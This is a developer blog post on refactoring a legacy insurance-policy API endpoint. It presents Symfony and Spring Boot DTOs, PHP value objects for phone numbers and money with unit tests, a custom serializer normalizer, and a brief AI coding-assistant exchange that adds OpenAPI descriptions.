Lift your head away from the screen. Why are you writing this? Who is it for? Who needs to maintain it going forward? What problem are you actually solving - not the technical puzzle, but the business need, the user pain point, the thing that matters?

Every abstraction you introduce, every pattern you apply, every comment you write (or don't). It will all become someone else's legacy code eventually.

Pragmatism doesn’t mean abandoning good design. It means understanding why the design exists, when it matters and when real world constraints matter more.

A Case Study

I'll elaborate on this example in later articles, but here's the scenario:

A customer purchases a vehicle insurance policy on an external website. A JSON payload is then POST'ed to an existing legacy endpoint, which:

creates or updates a Customer record
creates or updates a Vehicle record
creates a Policy record
creates financial records
generates documentation
sends the documentation via email
creates an invoice in external financial software

The JSON payload matches the format of CSV files which are uploaded and processed by similar legacy code. The refactor needs to replicate this functionality. The payload format isn't ideal, but changing it means touching legacy code that's been stable for years. That's a risk we don't need to take.

The JSON payload looks a bit like this

{
  "title": "Mr",
  "firstname": "Bean",
  "surname": "Bean",
  "qnumber": "WB109301016026",
  "tradename": "",
  "address1": "Flat 2",
  "address2": "12 Arbour Road",
  "town": "HIGHBURY",
  "county": "London",
  "postcode": "N1 4TY",
  "telephone": "07123456789",
  "email": "mr.bean@minicooper.com",
  "vehmake": "RELIANT",
  "vehmodel": "REGAL SUPERVAN III",
  "vehregno": "GRA26K",
  "vehtype": "CAR",
  "vehdatereg": "23/10/1975",
  "vehvin": "BEAN1977TEDDY001",
  "covertype": "D",
  "cover": "ST",
  "pcstart": "01/10/2025",
  "pcend": "10/10/2025",
  "scheme": "vehicle",
  "vehyom": "1975",
  "vehweight": "450",
  "vehcolour": "BLUE",
  "totnet": "25.07",
  "totgross": "28.08",
  "totcomm": "0.00",
  "iptgross": "3.01",
  "vehadded": "30/09/2025",
  "comments": "CustomerReference=TEDDY001;PolicyNumber=WB109301016026;CoverType=Vehicle insurance for three-wheeler incidents"
}

You could ask many questions here. Why this naming scheme? Why is PolicyNumber in the comments the same as qnumber. What is a qnumber? To answer those questions you would need to understand over a decade of business and development decisions. And you'd still be no further along in actually doing something with it.

The pragmatic approach? Accept what we cannot change and protect what we can.

So how do we stop this external data from dictating the shape of our entire application? We build a boundary - and that boundary begins with a Data Transfer Object.

Data Transfer Objects

A first pass at a DTO for this request could look a bit like the below. This example uses Symfony's Serializer. Symfony's libraries can be used standalone outside of the framework. Other serializers are available.

<?php
declare(strict_types=1);

namespace App\Modules\Policy\Application\Dto;

use DateTimeImmutable;
use Symfony\Component\Serializer\Attribute\Context;
use Symfony\Component\Serializer\Attribute\SerializedName;
use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;

final readonly class PolicyPurchasePayload
{
    #[SerializedName('title')]
    public string $title;

    #[SerializedName('firstname')]
    public string $firstName;

    #[SerializedName('surname')]
    public string $surname;

    #[SerializedName('qnumber')]
    public string $policyNumber;

    #[SerializedName('tradename')]
    public ?string $tradeName = null;

    #[SerializedName('address1')]
    public string $address1;

    #[SerializedName('address2')]
    public ?string $address2 = null;

    #[SerializedName('town')]
    public string $town;

    #[SerializedName('county')]
    public string $county;

    #[SerializedName('postcode')]
    public string $postcode;

    #[SerializedName('telephone')]
    public string $telephone;

    #[SerializedName('email')]
    public string $email;

    #[SerializedName('vehmake')]
    public string $vehicleMake;

    #[SerializedName('vehmodel')]
    public string $vehicleModel;

    #[SerializedName('vehregno')]
    public string $vehicleRegNo;

    #[SerializedName('vehtype')]
    public string $vehicleType;

    #[SerializedName('vehdatereg')]
    #[Context([DateTimeNormalizer::FORMAT_KEY => 'd/m/Y'])]
    public DateTimeImmutable $vehicleRegistrationDate;

    #[SerializedName('vehvin')]
    public string $vehicleVin;

    #[SerializedName('covertype')]
    public string $usageType;

    #[SerializedName('cover')]
    public string $coverageLevel;

    #[SerializedName('pcstart')]
    #[Context([DateTimeNormalizer::FORMAT_KEY => 'd/m/Y'])]
    public DateTimeImmutable $policyStartDate;

    #[SerializedName('pcend')]
    #[Context([DateTimeNormalizer::FORMAT_KEY => 'd/m/Y'])]
    public DateTimeImmutable $policyEndDate;

    #[SerializedName('scheme')]
    public string $schemeCode;

    #[SerializedName('vehyom')]
    public string $vehicleYearOfManufacture;

    #[SerializedName('vehweight')]
    public ?string $vehicleWeight = null;

    #[SerializedName('vehcolour')]
    public string $vehicleColour;

    #[SerializedName('totnet')]
    public string $totalNet;

    #[SerializedName('totgross')]
    public string $totalGross;

    #[SerializedName('totcomm')]
    public string $totalComm;

    #[SerializedName('iptgross')]
    public string $iptGross;

    #[SerializedName('vehadded')]
    #[Context([DateTimeNormalizer::FORMAT_KEY => 'd/m/Y'])]
    public DateTimeImmutable $vehicleAdded;

    #[SerializedName('comments')]
    public string $comments;
}

Notice how the DTO serves multiple purposes:

Translates cryptic field names : qnumber -> policyNumber
Translates abbreviated field names : pcstart -> policyStartDate
Converts date like strings to DateTimeImmutable
readonly makes the request data immutable
Makes optional fields explicit with nullable types
Documents the data structure without needing external documentation
Provides autocomplete in an IDE

Now that we have our DTO, using it is surprisingly simple. Wiring a DTO to a controller in Symfony is trivial, thanks to #[MapRequestPayload]

<?php

declare(strict_types=1);

namespace App\Controller\Policy;

use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpKernel\Attribute\MapRequestPayload;
use Symfony\Component\Routing\Attribute\Route;

class WebsitePolicyPurchaseController
{
    #[Route(path: '/api/v1/policy/website-purchase', name: 'v1_policy_website_purchase', methods: [Request::METHOD_POST], format: 'json')]
    public function __invoke(#[MapRequestPayload] PolicyPurchasePayload $requestPayload): JsonResponse
    {
        return new JsonResponse();
    }
}

But we're not done yet. This endpoint forms part of an API, which means it needs documentation. I rarely deal in absolutes. However this is one of them and it's very unlikely you'll convince me otherwise.

Thankfully this step is easy. Trivial in fact, if you use an LLM.

> can you add OA\Property descriptions to App\Modules\Policy\Application\Dto\PolicyPurchasePayload please? 

⏺ Read(src/Modules/Policy/Application/Dto/PolicyPurchasePayload.php)
  ⎿  Read 127 lines

⏺ Update(src/Modules/Policy/Application/Dto/PolicyPurchasePayload.php)
  ⎿  Updated src/Modules/Policy/Application/Dto/PolicyPurchasePayload.php with 1 addition
       13    use DateTimeImmutable;
       14 +  use OpenApi\Attributes as OA;
       15    use Symfony\Component\Serializer\Attribute\Context;
       16    use Symfony\Component\Serializer\Attribute\SerializedName;
       17    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;

⏺ Update(src/Modules/Policy/Application/Dto/PolicyPurchasePayload.php)
  ⎿  Updated src/Modules/Policy/Application/Dto/PolicyPurchasePayload.php with 34 additions and 2 removals   

⏺ Done! I've added OA\Property descriptions to all 27 properties in the PolicyPurchasePayload.php file. Each description:

  - Clearly explains what the field represents
  - Includes examples where helpful (e.g., "Mr, Mrs, Ms, Dr" for title)
  - Notes the date format for datetime fields
  - Indicates optional fields where applicable
  - Uses insurance domain terminology (VRM, IPT, coverage, etc.)

  These descriptions will now appear in your OpenAPI/Swagger documentation at /api/doc, making the API much more

In Symfony just install the NelmioApiDocBundle and add the attributes (or ask Claude to do it).

    #[OA\Property(description: "Trading name for business customers (optional)")]
    #[SerializedName('tradename')]
    private ?string $tradeName = null;

    #[OA\Property(description: "First line of address")]
    #[SerializedName('address1')]
    private string $address1;

    #[OA\Property(description: "Second line of address (optional)")]
    #[SerializedName('address2')]
    private ?string $address2 = null;

Of course, you'll want to review what the LLM generated - but it's a solid starting point that takes minutes at most.

Spring Boot works in much the same way.

package com.example.policy.controller;

import com.example.policy.dto.PolicyPurchasePayload;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;

@RestController
@RequestMapping("/api/v1/policy")
public class WebsitePolicyPurchaseController {

    @PostMapping("/website-purchase")
    public ResponseEntity<?> handlePurchase(@RequestBody PolicyPurchasePayload requestPayload) {
        return ResponseEntity.ok().build();
    }
}

package com.example.policy.dto;

import com.fasterxml.jackson.annotation.JsonProperty;
import io.swagger.v3.oas.annotations.media.Schema;
import java.time.LocalDate;

public record PolicyPurchasePayload(
    @Schema(description = "Customer title (e.g., Mr, Mrs, Ms, Dr)")
    @JsonProperty("title")
    String title,

    @Schema(description = "Customer first name")
    @JsonProperty("firstname")
    String firstName,

    @Schema(description = "Policy number assigned to the quote")
    @JsonProperty("qnumber")
    String policyNumber,

    @Schema(description = "Vehicle registration number")
    @JsonProperty("vehregno")
    String vehicleRegNo,

    @Schema(description = "Policy start date", example = "01/10/2025")
    @JsonProperty("pcstart")
    LocalDate policyStartDate

    // ... additional fields omitted for brevity
) {}

@JsonProperty = #[SerializedName]
@Schema = #[OA\Property]
@RequestBody = #[MapRequestPayload]

I'm not tied to this particular way of doing things. I'm confident enough (90%) to write about it. Open minded enough (10%) to ask this honestly - why would you not create an API endpoint this way?

The argument I've seen most often is "boilerplate". Frankly I'd rather spend ten minutes writing the properties out than debugging why $data['pcStart'] throws an error, because it's actually $data['pcstart']

One thing I should mention for those who spotted it - my DTO has no constructor. This works because Symfony's serializer uses the ObjectNormalizer by default, this will leverage reflection to set property values directly. If performance is a concern, you have options: add a constructor, or use the GetSetMethodNormalizer with getters and setters. I haven't benchmarked the difference, but reflection does have some overhead. For most applications, this won't matter, but worth knowing the trade-off exists.

If we exclude validation (for now). The DTO we've built so far would be enough in some applications. However this isn't the only place I have to deal with email addresses, phone numbers and vehicle identifiers. The formatting of a phone number is especially important for my use case. The 'click to dial' integration with the phone system only works with E.164 formatted numbers.

That's where value objects come in handy.

Value Objects

Most languages give us types:

Scalar types such as string ,bool , int, float
Complex types such as array, Set, Map, DateTime

But here's the thing: 07123456789 and mr.bean@minicooper.co.uk are both strings. Yet one is a phone number and the other is an email address. They have different rules, different formats, different behaviors. Most languages recognised this problem for dates and gave us DateTime types. But what about everything else?

I like to think of value objects as custom types that narrow a scalar type down to what it actually is.

mixed -> string -> PhoneNumber

Let's take phone numbers as an example.

<?php

declare(strict_types=1);

namespace App\Domain\Common\ValueObject;

use InvalidArgumentException;
use libphonenumber\NumberParseException;
use libphonenumber\PhoneNumberFormat;
use libphonenumber\PhoneNumberUtil;

final class PhoneNumber extends AbstractStringValueObject
{
    private const string DEFAULT_REGION = 'GB';

    private function __construct(string $e164)
    {
        $this->value = $e164;
    }

    public static function fromString(string $value): self
    {
        $util = PhoneNumberUtil::getInstance();

        try {
            $proto = $util->parse(trim($value), self::DEFAULT_REGION);

            if (!$util->isValidNumber($proto)) {
                throw new InvalidArgumentException('Invalid phone number: ' . $value);
            }

            return new self($util->format($proto, PhoneNumberFormat::E164));
        } catch (NumberParseException) {
            throw new InvalidArgumentException('Invalid phone number: ' . $value);
        }
    }

    public function e164(): string
    {
        return $this->value;
    }

    public function international(): string
    {
        $util = PhoneNumberUtil::getInstance();
        $proto = $util->parse($this->value);

        return $util->format($proto, PhoneNumberFormat::INTERNATIONAL);
    }

    public function national(): string
    {
        $util = PhoneNumberUtil::getInstance();
        $proto = $util->parse($this->value);

        return $util->format($proto, PhoneNumberFormat::NATIONAL);
    }
}

And then to use this value object

<?php

$phone = PhoneNumber::fromString('07951 123456');

$phone->international(); // +44 7951 123456
$phone->national(); // 07951 123456
$phone->e164(); // +447951123456

// This throws InvalidArgumentException
$phone = PhoneNumber::fromString('not a phone')

As I mentioned previously, the phone system requires a number in E.164 format. Most in the UK would expect to see a number in the national format. We also have validation - an invalid phone number will throw an exception.

Write a few test cases and you've extended the language with a custom 'type'

<?php

declare(strict_types=1);

namespace App\Tests\Unit\Domain\Common\ValueObject;

use App\Domain\Common\ValueObject\PhoneNumber;
use InvalidArgumentException;
use PHPUnit\Framework\TestCase;

/**
 * Tests for PhoneNumber value object.
 * 
 * These tests document the expected behavior: accepting various formats,
 * always storing as E.164, and rejecting invalid numbers.
 */
final class PhoneNumberTest extends TestCase
{
    public function testCanCreateValidUkPhoneNumber(): void
    {
        $phone = PhoneNumber::fromString('07951 123456');

        // Should be stored in E.164 format
        $this->assertEquals('+447951123456', $phone->toString());
    }

    public function testCanFormatAsInternational(): void
    {
        $phone = PhoneNumber::fromString('07951123456');

        $this->assertEquals('+44 7951 123456', $phone->international());
    }

    public function testCanFormatAsNational(): void
    {
        $phone = PhoneNumber::fromString('07951123456');

        $this->assertEquals('07951 123456', $phone->national());
    }

    public function testCanParseInternationalFormat(): void
    {
        $phone = PhoneNumber::fromString('+44 7951 123456');

        $this->assertEquals('+447951123456', $phone->e164());
    }

    public function testRejectsInvalidPhoneNumber(): void
    {
        $this->expectException(InvalidArgumentException::class);
        $this->expectExceptionMessage('Invalid phone number');

        PhoneNumber::fromString('not-a-phone');
    }

    public function testRejectsTooShortNumber(): void
    {
        $this->expectException(InvalidArgumentException::class);
        $this->expectExceptionMessage('Invalid phone number');

        PhoneNumber::fromString('123');
    }
}

Money is another good example for a value object. The legacy database I'm working with in these examples stores money as decimals. Those who have been doing this long enough will likely be saying to themselves - "rounding errors".

<?php

declare(strict_types=1);

namespace App\Domain\Common\ValueObject;

use InvalidArgumentException;
use Money\Currencies\ISOCurrencies;
use Money\Currency;
use Money\Formatter\DecimalMoneyFormatter;
use Money\Money as PhpMoney;
use Money\Parser\DecimalMoneyParser;

class Money extends AbstractStringValueObject
{
    private PhpMoney $money;

    private function __construct(PhpMoney $money)
    {
        $this->money = $money;

        $currencies = new ISOCurrencies();
        $formatter  = new DecimalMoneyFormatter($currencies);

        $this->value = $formatter->format($money);
    }

    public static function fromString(string $value): self
    {
        $currencies = new ISOCurrencies();
        $parser = new DecimalMoneyParser($currencies);

        $money = $parser->parse($value, new Currency('GBP'));

        return new self($money);
    }

    /**
     * Create from minor units (pence/cents) like 2808
     * 
     * @param int|numeric-string $amount
     * @param non-empty-string $currency
     */
    public static function fromMinor(int|string $amount, string $currency = 'GBP'): self
    {
        // PhpMoney expects a string for amount
        $money = new PhpMoney((string)$amount, new Currency($currency));

        return new self($money);
    }

    /** 
     * Minor units as string (e.g. "2808") 
     */
    public function amount(): string
    {
        return $this->money->getAmount();
    }

    /** 
     * ISO currency code (e.g. "GBP") 
     */
    public function currency(): string
    {
        return $this->money->getCurrency()->getCode();
    }

    /** 
     * Explicit decimal string (same as $this->value but named) 
     */
    public function toDecimalString(): string
    {
        return $this->value;
    }

    /** 
     * Access underlying PhpMoney if you need advanced ops 
     */
    public function unwrap(): PhpMoney
    {
        return $this->money;
    }

    /** 
     * Arithmetic returning the VO for convenience 
     */
    public function add(self $other): self
    {
        $this->assertSameCurrency($other);

        return new self($this->money->add($other->money));
    }

    /**
     * Arithmetic returning the VO for convenience
     */
    public function subtract(self $other): self
    {
        $this->assertSameCurrency($other);

        return new self($this->money->subtract($other->money));
    }

    private function assertSameCurrency(self $other): void
    {
        if (!$this->money->isSameCurrency($other->money)) {
            throw new InvalidArgumentException('Currency mismatch.');
        }
    }
}

Because pragmatism - I've just wrapped PhpMoney and provided simple arithmetic methods. There's an unwrap method should you need to do anything more complex (currency conversion, percentage calculations, whatever PhpMoney supports that I haven't wrapped). No point in re-inventing the wheel.

<?php

// From legacy database decimals
$premium = Money::fromString('28.08');  // £28.08
$ipt = Money::fromString('3.01');       // £3.01 insurance premium tax

// Calculate total
$total = $premium->add($ipt);

// From payment gateway (Stripe/PayPal return pence/cents)
$payment = Money::fromMinor(3109);  // 3109 pence
$payment->toDecimalString();  // "31.09"

// Check if payment matches invoice
if ($payment->amount() === $total->amount()) {
    // Payment successful
}

// Calculate commission
$netPremium = Money::fromString('25.07');
$commission = Money::fromString('5.00');
$afterCommission = $netPremium->subtract($commission);

// Need something complex? Use unwrap()
$quarterly = $premium->unwrap()->multiply('4');
$discounted = $premium->unwrap()->multiply('0.9');  // 10% discount

// Store in database
$entity->setTotalGross($total->toDecimalString());  // Store as "31.09"
$entity->setTotalGrossMinor($total->amount());      // Store as "3109"

As PhpMoney already has it's own unit tests, mine are fairly simple.

<?php

declare(strict_types=1);

namespace App\Tests\Unit\Domain\Common\ValueObject;

use App\Domain\Common\ValueObject\Money;
use InvalidArgumentException;
use PHPUnit\Framework\TestCase;

/**
 * Tests for Money value object.
 *
 * Money handles currency amounts with precision and arithmetic operations.
 */
final class MoneyTest extends TestCase
{
    public function testCanCreateMoneyFromDecimalString(): void
    {
        $money = Money::fromString('123.45');

        $this->assertEquals('123.45', $money->toString());
        $this->assertEquals('GBP', $money->currency());
    }

    public function testCanCreateMoneyFromMinorUnits(): void
    {
        // 2808 pence = £28.08
        $money = Money::fromMinor(2808);

        $this->assertEquals('28.08', $money->toString());
        $this->assertEquals('2808', $money->amount());
    }

    public function testCanAddMoney(): void
    {
        $money1 = Money::fromString('100.00');
        $money2 = Money::fromString('50.50');

        $result = $money1->add($money2);

        $this->assertEquals('150.50', $result->toString());
    }

    public function testCanSubtractMoney(): void
    {
        $money1 = Money::fromString('100.00');
        $money2 = Money::fromString('30.25');

        $result = $money1->subtract($money2);

        $this->assertEquals('69.75', $result->toString());
    }

    public function testCannotAddMoneyWithDifferentCurrencies(): void
    {
        $gbp = Money::fromMinor(1000, 'GBP');
        $usd = Money::fromMinor(1000, 'USD');

        $this->expectException(InvalidArgumentException::class);
        $this->expectExceptionMessage('Currency mismatch');

        $gbp->add($usd);
    }
}

There's loads of value object libraries available. But as you've seen - you don't need a lot of code to create some very useful little tools.

Now if we revisit our DTO we can firm up some of the types.

    #[OA\Property(description: "UK postcode")]
    #[SerializedName('postcode')]
    public Postcode $postcode;

    #[OA\Property(description: "Contact telephone number")]
    #[SerializedName('telephone')]
    public PhoneNumber $telephone;

    #[OA\Property(description: "Customer email address")]
    #[SerializedName('email')]
    public Email $email;

    #[OA\Property(description: "Total net premium amount")]
    #[SerializedName('totnet')]
    public Money $totalNet;

    #[OA\Property(description: "Total gross premium amount (including taxes)")]
    #[SerializedName('totgross')]
    public Money $totalGross;

    #[OA\Property(description: "Total commission amount")]
    #[SerializedName('totcomm')]
    public Money $totalComm;

    #[OA\Property(description: "Insurance Premium Tax (IPT) gross amount")]
    #[SerializedName('iptgross')]
    public Money $iptGross;

There is just one extra step required for it all to function.

Our value objects are all constructed via the ::fromString() method. Symfony's serializer doesn't know this.

If I had £10 for every time I've had to look up this image, I'd probably be a very rich man. For some reason - it never sticks.

In both directions, data is always first converted to an array

When the request arrives at our application as JSON, it's converted to an array and then denormalized into our DTO.

If we wanted to convert our DTO into one of the listed formats (JSON, XML etc), it is normalized into an array first.

So that means:

on denormalization we need to call ValueObject::fromString()
on normalization we need to call ValueObject->toString()

You may have noticed my value objects all extend AbstractStringValueObject

<?php

declare(strict_types=1);

namespace App\Domain\Common\ValueObject;

abstract class AbstractStringValueObject implements StringValueObject
{
    protected string $value = '';

    final public function toString(): string
    {
        return $this->value;
    }

    final public function __toString(): string
    {
        return $this->value;
    }

    final public function equals(StringValueObject $other): bool
    {
        return $other::class === static::class && $this->value === $other->toString();
    }

    public function __serialize(): array
    {
        return ['value' => $this->value];
    }

    /** 
     * @param array{value?:string} $data 
     */
    public function __unserialize(array $data): void
    {
        $this->value = (string) ($data['value'] ?? $this->value ?? '');
    }
}

which implements StringValueObject

<?php

declare(strict_types=1);

namespace App\Domain\Common\ValueObject;

interface StringValueObject
{
    public static function fromString(string $value): self;

    public function toString(): string;

    public function equals(self $other): bool;

    public function __toString(): string;
}

So my custom normalizer/denormalizer needs to support all classes that implement StringValueObject

<?php

declare(strict_types=1);

namespace App\Serializer;

use App\Domain\Common\ValueObject\StringValueObject;
use ArrayObject;
use Symfony\Component\Serializer\Normalizer\DenormalizerInterface;
use Symfony\Component\Serializer\Normalizer\NormalizerInterface;

final class ValueObjectNormalizer implements NormalizerInterface, DenormalizerInterface
{
    public function supportsNormalization(mixed $data, ?string $format = null, array $context = []): bool
    {
        return $data instanceof StringValueObject;
    }

    public function normalize(mixed $data, ?string $format = null, array $context = []): array|string|int|float|bool|ArrayObject|null
    {
        return $data->toString();
    }

    public function supportsDenormalization(mixed $data, string $type, $format = null, array $context = []): bool
    {
        return is_string($data)
            && is_subclass_of($type, StringValueObject::class);
    }

    public function denormalize($data, $type, $format = null, array $context = []): object
    {
        /** @var class-string<StringValueObject> $type */
        return $type::fromString($data);
    }

    public function getSupportedTypes(?string $format): array
    {
        // We support “all classes implementing the interface” at runtime.
        // Ask Symfony to always call supportsDenormalization().
        return [
            StringValueObject::class => true,
            '*' => false,
        ];
    }
}

Symfony will automatically register this class and append it to the normalizer chain.

root@6b279478af45:/app# bin/console debug:container --tag serializer.normalizer

Symfony Container Services Tagged with "serializer.normalizer" Tag
==================================================================

 ---------------------------------------------------- ---------- ---------- ---------------------------------------------------------------------------
  Service ID                                           built_in   priority   Class name
 ---------------------------------------------------- ---------- ---------- ---------------------------------------------------------------------------
  serializer.denormalizer.unwrapping                   1          1000       Symfony\Component\Serializer\Normalizer\UnwrappingDenormalizer
  App\Serializer\ValueObjectNormalizer                                       App\Serializer\ValueObjectNormalizer
  serializer.normalizer.problem                        1          -890       Symfony\Component\Serializer\Normalizer\ProblemNormalizer
  serializer.normalizer.uid                            1          -890       Symfony\Component\Serializer\Normalizer\UidNormalizer
  serializer.normalizer.datetime                       1          -910       Symfony\Component\Serializer\Normalizer\DateTimeNormalizer
  serializer.normalizer.constraint_violation_list      1          -915       Symfony\Component\Serializer\Normalizer\ConstraintViolationListNormalizer
  serializer.normalizer.mime_message                   1          -915       Symfony\Component\Serializer\Normalizer\MimeMessageNormalizer
  serializer.normalizer.datetimezone                   1          -915       Symfony\Component\Serializer\Normalizer\DateTimeZoneNormalizer
  serializer.normalizer.dateinterval                   1          -915       Symfony\Component\Serializer\Normalizer\DateIntervalNormalizer
  serializer.normalizer.form_error                     1          -915       Symfony\Component\Serializer\Normalizer\FormErrorNormalizer
  serializer.normalizer.backed_enum                    1          -915       Symfony\Component\Serializer\Normalizer\BackedEnumNormalizer
  serializer.normalizer.number                         1          -915       Symfony\Component\Serializer\Normalizer\NumberNormalizer
  serializer.normalizer.data_uri                       1          -920       Symfony\Component\Serializer\Normalizer\DataUriNormalizer
  serializer.normalizer.translatable                   1          -920       Symfony\Component\Serializer\Normalizer\TranslatableNormalizer
  serializer.normalizer.json_serializable              1          -950       Symfony\Component\Serializer\Normalizer\JsonSerializableNormalizer
  serializer.denormalizer.array                        1          -990       Symfony\Component\Serializer\Normalizer\ArrayDenormalizer
  serializer.normalizer.object                         1          -1000      Symfony\Component\Serializer\Normalizer\ObjectNormalizer
 ---------------------------------------------------- ---------- ---------- ---------------------------------------------------------------------------

In the controller you'll now have a fully populated DTO including the value objects.

That's It

DTOs for boundaries. Value objects for type safety. A custom normalizer to make them play nicely together.

Your legacy system still sends qnumber and pcstart, but your code works with policyNumber and policyStartDate. And phone numbers in the wrong format? They no longer break the phone system.

These patterns aren't just for legacy systems, they're useful everywhere.

Next up: Temporal - or how to make sure PagerDuty doesn't wake you up at 3am because AWS broke DynamoDB again.

DEV Community: Paul Clegg

Demystifying Docker - Part 2

Dockerfile

Tags

A Warning on :latest

This is no good for local development

To conclude

Demystifying Docker

But it works on my machine

Virtualisation

Containerisation

Dockerfile

So why does any of this matter?

Orchestrated UI with Symfony UX and Mercure

The Blueprint

The Orchestrator

The Engine

The Entry Point

The Container

The Abstraction

The Interaction

The Javascript

The Flow

Conclusion

Enterprise Architecture for a blog nobody reads

The Architecture

Validation

Layer 1: Cloudflare (Edge Protection)

Layer 2: Host Hardening

Layer 3: Container Isolation

Layer 4: Secrets Management

Layer 5: Storage & Backups

Layer 6: Monitoring

I traced a CPU spike to a massive botnet dashboard (CVE-2025-55182)

Summary & Key Takeaways

Refactoring Legacy: Part 2 - Tell, Don't Ask. (Server Driven UI)

Temporal

Workflows

Activities

Retries

Idempotency

The Price of Amnesia

Tell, Don't Ask

A Proof of Concept

Sending data (Signals)

Getting state (Queries)

Generating the UI From the Backend

Refactoring Legacy: Part 1 - DTO's & Value Objects

Understanding Legacy Code (aka Don't Be a Dick About It)

Pragmatism Over Perfection

A Case Study

Data Transfer Objects

Value Objects

That's It

A Warning on `:latest`